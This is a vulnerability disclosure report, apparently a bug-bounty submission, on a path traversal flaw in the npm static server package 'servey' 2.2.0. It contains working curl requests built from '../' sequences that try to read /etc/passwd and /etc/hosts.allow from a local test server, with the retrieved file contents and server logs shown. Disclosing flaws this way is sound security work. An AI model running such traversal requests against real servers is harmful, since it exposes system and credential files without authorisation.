Hi Team,
I would like to report a partial Path Traversal in servey
module.
It allows to read content of any arbitrary file (with extension) from the server.
module name: serveyversion:2.2.0npm page: https://www.npmjs.com/package/servey
A static & single page application server.
~120-200 downloads/month (estimated)
servey
module:$ npm install servey
// app.js
const Servey = require('servey');
const Path = require('path')
const server = Servey.create({
spa: true,
port: 8080,
folder: Path.join(__dirname, 'static')
});
server.on('error', function (error) {
console.error(error);
});
server.on('request', function (req) {
console.log(req.url);
});
server.on('open', function () {
console.log('open');
});
server.open();
$ node app.js
open
/etc/passwd
(an example file without any extension). servey
does not allow to open such file and throws HTTP 500 Internal Server Error:$ curl -v --path-as-is localhost:8080/../../../../../../etc/passwd
* Trying ::1...
* connect to ::1 port 8080 failed: Connection refused
* Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET /../../../../../../etc/passwd HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 500 Internal Server Error
< Content-Type: text/html; charset=utf8
< Date: Mon, 21 May 2018 13:08:15 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{"code":500,"message":"Internal Server Error"}
$ node app.js
open
/../../../../../../etc/passwd
{ Error: ENOENT: no such file or directory, open '/home/rafal.janicki/playground/hackerone/node/static/index.html'
errno: -2,
code: 'ENOENT',
syscall: 'open',
path: '/home/rafal.janicki/playground/hackerone/node/static/index.html' }
/etc/hosts.allow
(adjust amount of …/ to reflect your system):$ curl -v --path-as-is localhost:8080/../../../../../../etc/hosts.allow
* Trying ::1...
* connect to ::1 port 8080 failed: Connection refused
* Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET /../../../../../../etc/hosts.allow HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: undefined; charset=utf8
< Date: Mon, 21 May 2018 13:06:38 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
<
# /etc/hosts.allow: list of hosts that are allowed to access the system.
# See the manual pages hosts_access(5) and hosts_options(5).
#
# Example: ALL: LOCAL @some_netgroup
# ALL: .foobar.edu EXCEPT terminalserver.foobar.edu
#
# If you're going to protect the portmapper use the name "rpcbind" for the
# daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
#
* Connection #0 to host localhost left intact
servey
app logs again:$ node app.js
open
/../../../../../../etc/passwd
{ Error: ENOENT: no such file or directory, open '/home/rafal.janicki/playground/hackerone/node/static/index.html'
errno: -2,
code: 'ENOENT',
syscall: 'open',
path: '/home/rafal.janicki/playground/hackerone/node/static/index.html' }
/../../../../../../etc/hosts.allow
You can see hosts.allow
requets did not fail and the content of the file was retrieved.
N/A
Regards,
Rafal ‘bl4de’ Janicki
An attacker is able to retrieve content of any file with extension from remote server.